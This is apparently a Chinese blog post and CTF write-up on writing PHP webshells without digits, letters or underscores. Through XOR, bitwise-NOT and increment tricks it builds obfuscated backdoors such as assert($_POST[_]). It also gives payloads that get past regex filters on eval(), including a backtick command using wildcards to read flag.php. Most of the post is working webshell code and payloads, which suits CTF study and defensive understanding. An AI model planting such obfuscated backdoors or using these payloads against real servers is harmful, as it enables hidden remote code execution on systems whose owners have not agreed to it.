PHP不使用数字,字母和下划线写shell
2018-08-07 15:23:13

文章已发表于信安之路公众号。 先膜一波p师傅的文章 一些不包含数字和字母的webshell,还有这个师傅的记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门),太强了。这篇文章是在两位师傅文章的基础上写的。 在做一道CTF题的时候发现了一些PHP的骚姿势,感觉很有必要总结一下。 [toc]

前置知识

PHP中异或(^)的概念

1
2
3
4
5
<?php
echo "A"^"?";
?>

运行结果:~

输出的结果是字符”~”,这是因为代码对字符”A”和字符”?”进行了异或操作。在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。

1
2
3
4
5
A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是10000000

二进制对应的ASCII为126,也就是字符”~”。 例如非数字字母的PHP后门

1
2
3
4
5
6
7
8
9
10
11
12
<?php
@$_++; // $_ = 1
$__=("#"^""); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=(""^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

甚至可以将上面的代码合并为一行,从而使程序的可读性更差
$__=("#"^"").("."^"~").("/"^"`").(""^"/").("{"^"/");

PHP中取反(~)的概念

来看一个汉字”和”

1
2
3
4
5
6
>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141

“和”的第三个字节的值为140[0x8c],取反的值为-141。 负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。 因此

1
2
3
4
5
6
7
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
两个写法性质一样
结果会输出: ss

脚本

1
2
3
4
5
6
>>> def get(shell):
... hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
... print(hexbit)
...
>>> get('phpinfo')
0x8f0x970x8f0x960x910x990x90

不用数字构造出数字

利用了PHP弱类型特性,true的值为1,故true+true==2。

1
2
3
4
5
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)

结果会输出:2 1

在php中未定义的变量默认值为null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。

1
2
3
4
5
6
<?php
$_++;
print($_);
?>

结果会输出:1

不用数字和字母的shell

在讲不用数字,字母和下划线写shell之前,先了解下不用数字和字母写shell。毕竟学习都是循序渐进的。而且用不用下划线其实问题不大,因为PHP太灵活了。 代码

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

思路

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如”assert”,然后动态执行即可。

非字母、数字的字符异或出字母

不可打印字符,用url编码表示。

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

图片.png 还可以用更短的字符,下面会用到。

1
"`{{{"^"?<>/"//_GET

^会对两边对应的字符串进行异或。

非字母、数字的字符取反出字母

利用的是UTF-8编码的某个汉字,将其中的某个字符取出来,取反为字母。 一个汉字的utf8是三个字节,{2}表示第3个字节

1
2
3
4
5
6
7
8
9
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo "<br>";
print(~($____{$__}));

图片.png payload

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

图片.png 这里也有一种简短的写法${~"\xa0\xb8\xba\xab"}它等于$_GET。这里相当于直接把utf8编码的某个字节提取出来统一进行取反。

php递增/递减运算符

这种方法很明显的缺点就是需要大量的字符。 图片.png ‘a’++ => ‘b’,’b’++ => ‘c’,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。 数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。再取这个字符串的第一个字母,就可以获得’A’。 图片.png 因为PHP函数是大小写不敏感的,最终执行的是ASSERT($POST[]),无需获取小写a。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

图片.png

不用数字和字母写shell的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

要求code的长度不能大于40,限制输入不能为字母和数字。可以利用 PHP允许动态函数执行的特点,拼接出一个函数名getFlag(),然后动态执行即可。 这里依然可以用异或的方法,只是上面写出来的字符长度太长了。需要用简短的写法: payload

1
2
3
4
5
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

这里的"`{{{"^"?<>/"上面已经说过了是异或的简短写法,表示_GET。
${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);
把_当作参数传进去执行getFlag()

这道题当然也可以用取反的方法,不过下面会讲到,这里就不再重复。

不用数字,字母和下划线写shell的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

include 'flag.php';

if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

下划线都不给,这就很恐怖了。意味着不能定义变量,而且也构造不出来数字。不过在PHP的灵活性面前,问题不大。 这是一开始学长给的payload,+号必须加引号

1
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

51个字符太长了,所以这里可以用简短的写法

1
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();

不过这样不能成功。 学长给出了解释:eval只能解析一遍代码,所以如果写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码 例如: eval($_GET['b']) url里面 b=phpinfo(); 这时候相当于eval('phpinfo();') eval($_GET['b']) url里面b=$_GET[c]&c=phpinfo(); 相当于eval('$_GET[c]') 上面的payload是code=$_GET['+']&+=getFlag(); ,也就是eval('$_GET['+'])并不会执行getFlag();

1
2
3
4
5
6
7
8
9
<?php
function getflag()
{
echo "12354";
}
$a="getflag";
$b="()";
@eval($a.$b);
?>

页面什么都不会显示,但是用phpinfo就不一样了,这玩意的解析有点奇葩。 正确的payload为

1
${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。

1
2
3
4
5
6
7
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
?>

输出:hello world
1
`${$a}`,括号中的`$a`是可以执行的,变成了hello。 payload中的{}也是这个原理,{}中用的是异或,`^`在{}中被执行了,也就是上面讲的"\`{{{"^"?<>/"执行了异或操作,相当于\_GET。 最后eva函数拼接出了字符串`$_GET['+']()`;,然后传入+=getFlag,最后执行了函数getFlag(); ![图片.png](https://upload-images.jianshu.io/upload_images/9113969-ac50cde53ac2010d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) **429大佬给出的payload`http://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag`** 这里用的是取反 ![图片.png](https://upload-images.jianshu.io/upload_images/9113969-0ea77abcf0575f46.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ~在{}中执行了取反操作,所以`${~"\xa0\xb8\xba\xab"}`取反相当于`$_GET`。 跟上面的payload一个原理,拼接出了`$_GET['+']();`,传入+=getFlag()从而执行了函数。 还有一种拼接的payload
1
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

原理大同小异,$啊=getFlag;$啊();,这里就不需要用{}了,因为取反的值直接被当作字符串赋值给了$啊。 图片.png PHP是弱类型的语言,因此我们可以利用这个特点进行许多非常规的操作,也就是利用各种骚姿势来达到同一个目的。不过随着PHP版本的变化,php的一些特性也会变化,例如php5中assert是一个函数,但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码。因此我们要多熟悉php不同版本的差异。

9月22日更新 不用数字字母下划线和$ getFlag

安恒杯9月web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>

看到题的瞬间窃喜,以为是原题,拿着payload各种试。以为题坏了,最后才看到多过滤了一个$,2333。瞬间感觉上面的东西都白学了。 payload:code=?><?=`/???/??? ????.???`?> ?>闭合php文件开头的<?php<?=可以输出 <? ?>是短标签,<?php ?>是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>同时,只有开启这个才可以使用 <?= 以代替 <? echo 图片.png 这个配置默认是开启的 图片.png 还利用linux的通配符:/???/???通配/bin/cat????.???通配flag.php 还有php中`符号可以执行系统命令 图片.png 最后可以在源码中找到flag